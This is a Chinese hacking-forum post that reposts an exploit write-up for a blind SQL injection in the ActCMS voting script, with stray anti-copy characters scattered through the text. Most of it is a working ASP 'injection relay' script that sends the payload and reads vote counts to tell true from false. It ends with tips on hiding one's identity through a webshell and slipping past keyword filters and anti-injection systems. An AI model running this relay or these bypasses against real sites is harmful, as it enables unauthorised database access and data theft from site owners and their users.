找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2094|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
' _8 {! v. a9 X8 i7 P
看到ninty大牛的blog的一篇文章
5 @  A* M3 I) ^3 X8 ?+ L( h链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
/ J4 |0 v) c% H+ ?( a/ |关于actcms漏洞的利用  by 3x qq:381862589
* b4 k& }( G+ l* v. K) k转载请注明以上
# X7 e* N! Z  ~- \. V2 k7 H漏洞文件:2 A: Q$ S/ \' g
/plus/vote/vote.asp
2 |+ U& |: X4 J代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
+ v2 F! ]7 H( v3 W. }; m0 W
" Z) K4 D5 t0 I2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
2 Z* X+ ^7 x8 k4 H) F7 Q' A. F
. X2 W+ G% M2 p$ n, e9 y3    response.end   
+ D) t! ^4 T7 s7 [4 p0 X5 _2 l3 ^: Z" p/ K9 r# R
4    end if   
- ~& Z% S- B) @& j! A; O3 @2 B- R1 [+ x- _. f  t* g5 s+ q0 @
5    for i=1 to request("voted").count   
0 v" x1 O: e+ C7 b4 \6 _9 N. d  ^  E
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
6 P) f: j) Z! C0 L7 K, o  ]  H% G0 \# K* r8 @5 l
7    next   
; E8 B, J" w9 i9 s9 k* l' u0 z5 [% o2 G# {+ [; ?
8....   
; V+ l& `& J: [- @
/ \6 M. M# E7 J& W9response.Redirect "index.asp?id="&id&""   ! U, z: \* R: S9 e  A
投票结束回跳转回index.asp这个投票结果页面7 F( ]6 y; l/ h) h% y& z
如果投票成功票数加1
1 h; e" t: l% @2 M            失败票数不变
. V: y$ Y6 `: v# N如图:5 y. s7 o5 U+ ]+ P) n
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
; ^2 N3 `: {8 l' Z0 F6 J. f( i( c! g6 n) X& ]
2009-12-27 13:204 g& V2 O% P8 x6 Y( A

4 j; E. E/ h0 C利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了+ A) o" v2 w+ u
# A- u0 V% V- U
本帖隐藏的内容需要回复才可以浏览
7 }+ U9 X3 p+ P- d3 e我们用注入中转来实现这个注入具体代码如下:3 Z* c7 ]" I7 Y1 e- c! V
先用寂寞的刺猬大牛的注入中转生成jmget.asp4 C1 A3 V, Z: B* E& e& ^' `
注入地址:http://localhost/actcms/plus/vote/vote.asp
& B. _  }' ]2 a5 l注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
) _5 R" f" n. g3 [% |. {& Y
; Q9 k2 W9 x/ ^5 o) _然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% & k3 }2 C* ~- e. J
/ {7 x+ q, x! I$ D
02JmdcwName=request("jmdcw")
0 |- Y+ |) U/ N1 ~+ ?, O6 b. \0 L+ `7 D
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] / x$ \# C* c. u) V( M
+ N6 A& N5 P; G
04JmStr="id=1&voted=-1 or 1="&JmdcwName
( D' D; n0 L+ Z, K+ p# q
3 V5 M& Q% f9 @1 s3 J4 D" P05JmStr=URLEncoding(JmStr)
7 v+ v" p( n: T# {
: }7 g/ N7 ?: x% `! w06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"1 `% S% i7 F1 q

5 m) E8 y6 A5 A1 b07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
; f. D! C: f  s* y) ~+ u
# N9 n- L( m/ E08testurl=testurl & "?" & JmStr
) w+ W1 j" \1 U/ h' F
) i3 H$ e# z; \  ~$ U09JMUrl=JMUrl & "?" & JmStr 5 i' L' c2 B/ w
0 {$ [( q6 X6 f6 T+ P6 D
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
6 j4 O1 S. G% H+ c6 y7 [
% n/ \# k! _  f5 x% D# O! u; ~11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
9 K) i2 a( ^, ^! c1 _3 z
; R% K) m  y, F/ C  c& A. x12JmCok=replace(JmCok,chr(32),"%20")  
; X2 P  g9 p6 ]% l
, B) R+ A+ e4 `" }! a7 |# G13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
! M6 I5 Y$ w0 l' g+ i
: z+ z: o; @) h! h: x* q14  ! L6 s" X" @% X0 J

1 b+ B7 M. D- o. G' `* v3 O2 }15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 ( V; k" m( L2 T5 W3 ]

' i# a9 J1 e* J9 k16  . X0 l8 p2 S* u& B

% Y1 C; V. K; _# _  i  o17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
3 k/ R% R/ A, Q9 l/ I7 b2 b
/ e$ p  v( r- @0 E7 B& H18response.write test1&""&test2&"", S8 Y! @( v/ ]
5 u; L: d' k8 I, r6 U* F: {
19  & G# f. V; I" I* l) Y, `5 A

7 [6 \+ O3 O. ]2 x; ]9 E. {+ @# u20if test1=test2 then '如前后记录相等,表示失败
% o7 m( k0 `2 x" o5 ^' v1 e' C! k8 W( A' F  F1 c' h$ K
21  response.write "failed"
  O2 b/ X- N7 [* j8 y) k
7 _& Y- M6 K* m1 l22else
) l7 D9 n6 \% b+ Y
) }" h, s% {* \- H- b  _4 J* w23  response.write "succeed"
2 u9 C4 K+ @/ q/ _/ `0 K
6 @# x7 G. E* [* U, X" u24end if  
/ _; {, {! U: {/ k2 r8 |( Q/ g
25  
: s. ^+ F' {: h) Q1 J& m1 J) b  p/ K, |6 ~
26response.write "by 3x": H2 s% d  O9 F/ X
  h: q6 V  e5 b1 x( j% j- V
27  0 b) J0 S! b7 F0 D  b' O
; X" k; z% Q$ v5 V- }2 G
28  8 W/ M+ H" A# v: G  w

1 W* k* g/ E- w3 I29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
7 _/ r9 M7 l1 k, l0 y8 K9 q) }! J+ G9 Q  X2 d0 p: Q* C  B7 i9 x
30Dim Http / c% X/ O! ?7 ]* V
! N8 c3 [  V1 h  Q; f0 [
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") , A6 o1 E$ }5 O- d3 f( g

) j, Y7 X8 }- H0 q. y* D32With Http 5 z+ v' H# L( z' {0 }* N5 m, u0 W
6 r: i6 a3 @' j  B, ?0 |
33  
1 B. X, `% o  Z1 k. s" }! K. e3 e& [, z- T( w0 ]6 W- L6 Y
34.Open "GET",PostUrl,False
  k" I+ z& R) m" }
3 x/ D8 l5 I. y2 Q/ ^35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
* a$ @4 H( a  F1 y
- n, h6 \% |# l* X& @  J# e+ U, k36.SetRequestHeader "Referer",PostRef # ?  _( l; u) G
. |- N, K: ]  [1 \; ^- a' z; T' E
37.SetRequestHeader "Cookie",PostCok 9 T& q8 d/ a% o; f4 D  o- ], r

- x. a) f& D! F3 P7 p! E6 n) U4 Q38.Send ()
! [" x9 E7 ?( ^" x0 g4 b8 {3 K+ J" E: I
39PostData = .ResponseBody
; e2 h' G# t! K  o+ p! a2 u
! P4 B$ c) h6 T9 ^& {, @40End With
8 g7 C; S: D9 `) L2 B  V: W" A# ^! k( I" D, D0 }" o- {# s
41Set Http = Nothing
$ U9 V: H# @) B& ^$ h0 N0 s# `4 ?, B# |- D+ b: P  D% t
42PostData =bytes2BSTR(PostData) 0 U3 m/ F0 T) J9 [4 e8 m: L2 q
+ @, H' F3 Z: b- y& m
43End Function; i/ o1 m4 i% I  g! |+ D' j
5 f/ W6 k( R5 H' m
44  ; ~3 D1 R* O( e  q) ?
7 ^0 S$ W8 i" F( G2 M$ ~1 r
45  
& j! V: P, n# {+ }# t( _3 P+ K
8 v, b3 D$ P4 X4 z46Function bytes2BSTR(vIn)
0 }# L- q2 e* D3 O
; ~! r) q4 `; R; b6 B; ?& T/ l* r47Dim strReturn 9 n  Q: Y3 }) T) W, [- B, @! G5 V6 D

0 w; n) s8 P* H6 j4 m4 P$ Y! z48Dim I, ThisCharCode, NextCharCode ' e6 s' N! T6 y9 S: e* V

/ h7 I# q; [5 q# T) `49strReturn = ""/ E5 ?  ?. ?6 M$ L3 k
4 Z) b  N- i8 y5 u
50For I = 1 To LenB(vIn)
2 o, u* }4 N9 T7 Z
: p  p; |+ e5 B51ThisCharCode = AscB(MidB(vIn, I, 1)) 9 t& V8 a2 |, V3 V3 u

7 F! ]- V# e* e/ [: ]; G52If ThisCharCode < &H80 Then5 [, F& p/ A6 m4 I* I2 A8 a
  Z4 `; T  F4 ~7 x2 G' a
53strReturn = strReturn & Chr(ThisCharCode) 3 \: U, ^% v3 t6 V8 [( n* o+ [
: c- G! Z' `5 m8 F1 j
54Else
4 C' B, S0 B% b1 Q+ e- y. O$ H7 }5 M5 b: q1 {  @: z  q. t
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
1 _7 ^4 h9 L/ y9 K. l0 h* A4 z0 F: [$ h
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
$ d; H- b# ?) k+ r- p( \
0 a, z3 o9 {- q  Z57I = I + 1
) U2 z1 b  x1 l/ y" j0 `( _' i, S  Z" i
58End If: c+ M& x+ j' S$ M) v- v

) p* k5 n3 c) f6 c59Next1 q1 F7 C0 e4 h
/ q; e- b8 m' T7 K# w* k0 G
60bytes2BSTR = strReturn
1 U& k4 A: U3 l2 s! s0 f
: [4 \9 f2 N, l6 ?( S; B61End Function
/ D: N4 x% K; C" v5 r* X! Y# U: M/ C" @6 _
62  
; F  W# [+ f# x6 H( K. y$ u4 {- i9 C
63Function URLEncoding(vstrin)  & U! k/ c8 A' r) a  Z3 c

) a! e" o/ }  ^9 r# `64strReturn=""
2 A$ V2 N' W4 Y# L& ?5 l# W3 ~$ z' r9 y- K7 |7 Q2 @
65Dim i 2 ?' R+ J, S! B* X; D
; P% Y( X7 o( d8 Z9 Q
66For i=1 To Len(vstrin) 8 h2 N& l. v" _( M* `0 S

7 ~; _) c4 y0 m/ F67ThisChr=Mid(vstrin,i,1) % P& N# s% Y$ a* |: }6 f" A2 S

5 h$ s& B$ \; i68if Abs(Asc(ThisChr))< &HFF Then
8 Z, D+ D2 t, G. ^, S$ F
* b% f2 S' h7 [. @) [: w, \, P69strReturn=strReturn & ThisChr 3 X/ P' p& N$ ^
/ t- n' }* W- U3 B2 |
70Else
1 _# O( @5 p: m( a8 g' Q; e# Y4 r+ E9 s$ N. k
71InnerCode=Asc(ThisChr)
3 ]( D6 t2 Y( x. N0 t& {/ x, x, x3 q* ^& r' _2 _
72If InnerCode<0 Then
* v( H9 h* f3 W! ]
: [! H) f( d6 Y! z( Y9 `$ h73InnerCode=InnerCode + &H10000 1 B5 @3 m, I) T5 g3 I# M& K
0 \3 W/ ]5 y# t! P4 J5 ^/ V
74End If
. p9 x) Z/ W+ J) ]+ g- H- i  ?8 x) @
75Hight1=(InnerCode And &HFF00) \&HFF 7 m1 O& J$ D: Y# z
9 }' s0 ]* [1 r+ Z
76Low1=InnerCode And &HFF 9 a% U# p( X& O. v* q
# y3 l" ^; V4 {" Q7 Q
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 5 ?9 z) Z1 p$ a0 E( b- B8 `
' \$ ^; A: C/ T
78End if ; m0 Y5 \7 R: z4 _0 L. c9 ^- }4 }1 G

( N( |- \+ d, k79Next( m# z% ~1 k4 \% s4 j
* R. i) Q3 Y4 U9 T  K  w+ C2 u0 ?
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
( \+ Y3 a; W9 ^; l: w; k
$ o. J2 T# N  I5 u; T: c3 S7 K3 a81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 : A  ?: `7 M5 Q# r6 T5 R5 j
7 y. R( o% w" Z4 s( P) ^/ C
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 , b! M( @7 p# U

. m( b% l4 F0 Y( m5 d2 ]83URLEncoding=strReturn
- Q* Y  w0 h& r4 K3 \; y# k  J+ v9 v% q3 K" e3 }' }
84End Function( Q2 i5 P9 a+ Z' e! T6 {. n

! j: }! @: B. J, S: M- Z+ r85  
& ~7 S- l! u) W! h$ x9 N) b# S/ }6 [: [
86function getSt(body) - a6 V. w6 Z. P& w- u2 \* B

- }. s! h( D+ z4 \- Z87  startpot=instr(body,"投票人数:")+len("投票人数:") # G( D0 Q( T6 a0 ]7 J% b7 T4 D
! u: Q; T" N9 P
88  endpot=instr(startpot,body," ")
# L/ h& N. C5 C4 G7 j8 [& j1 P" v
; {) R# F  l7 O$ p! _8 g( c. Q" I89  getSt=mid(body,startpot,endpot-startpot)
4 _  E8 s" I- [- Z& `8 L, X" \/ T: j
# N1 g! {* \! a# F9 _) |90end function
0 A( g+ o3 H8 s  L% d. [5 r. N( _& z$ R. K5 M0 y
91%>
# E, t0 ~% y0 B注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
6 D/ E4 q6 v: t( {1 u/ A测试下效果:0 T: P- F2 y! |) n0 H
投票成功:
  k" y, V9 p+ r2 O7 Ehttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
" B2 G- e& k5 D7 Z( y, ]6 h
. }( w7 E# N4 H8 b" \/ }2009-12-27 13:29& K, K" |1 c/ ?
投票失败
, N3 y' u% r3 O( Thttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)" B' _7 M% q" ^  `) J" ?0 m
7 L- S0 l5 k" W+ G* r/ C
2009-12-27 13:29
4 l4 u* _: x4 a6 e" v2 A' I) I9 D-------------------------------------------------------------------------------
, D; o; x( j2 F! ~9 q; V再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以- q1 \9 h7 X% J2 ~/ R% l
很抱歉。。。只能用单线程工具去注入。。。。。
/ M! O) T' X; z2 b5 r所以失败。。。不好意思。。。
7 B' P6 x+ S. B  R& Q: J/ P-------------------------------------------------------------------------------" S3 x2 V: ?" X& U/ R) U4 s% U- ?

! a! D5 ^# O: }2 \- ^注入中转的一些其他应用* Y: H2 c# Q, m( T3 L- A6 B
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
; {$ p: t% l2 e$ E1 w  s% H* r1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id+ Q2 [' \) [/ V$ I' x
2.post注入转成get型的注入,方便我们使用工具来跑+ y: |4 h8 U. n% o, \
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
- B- |4 @8 W1 a% S$ Y0 s/ `6 Z4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过" \# \8 h: i" n2 _1 i) `3 {) ~

( X) i+ Q' Y7 q! Q7 z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表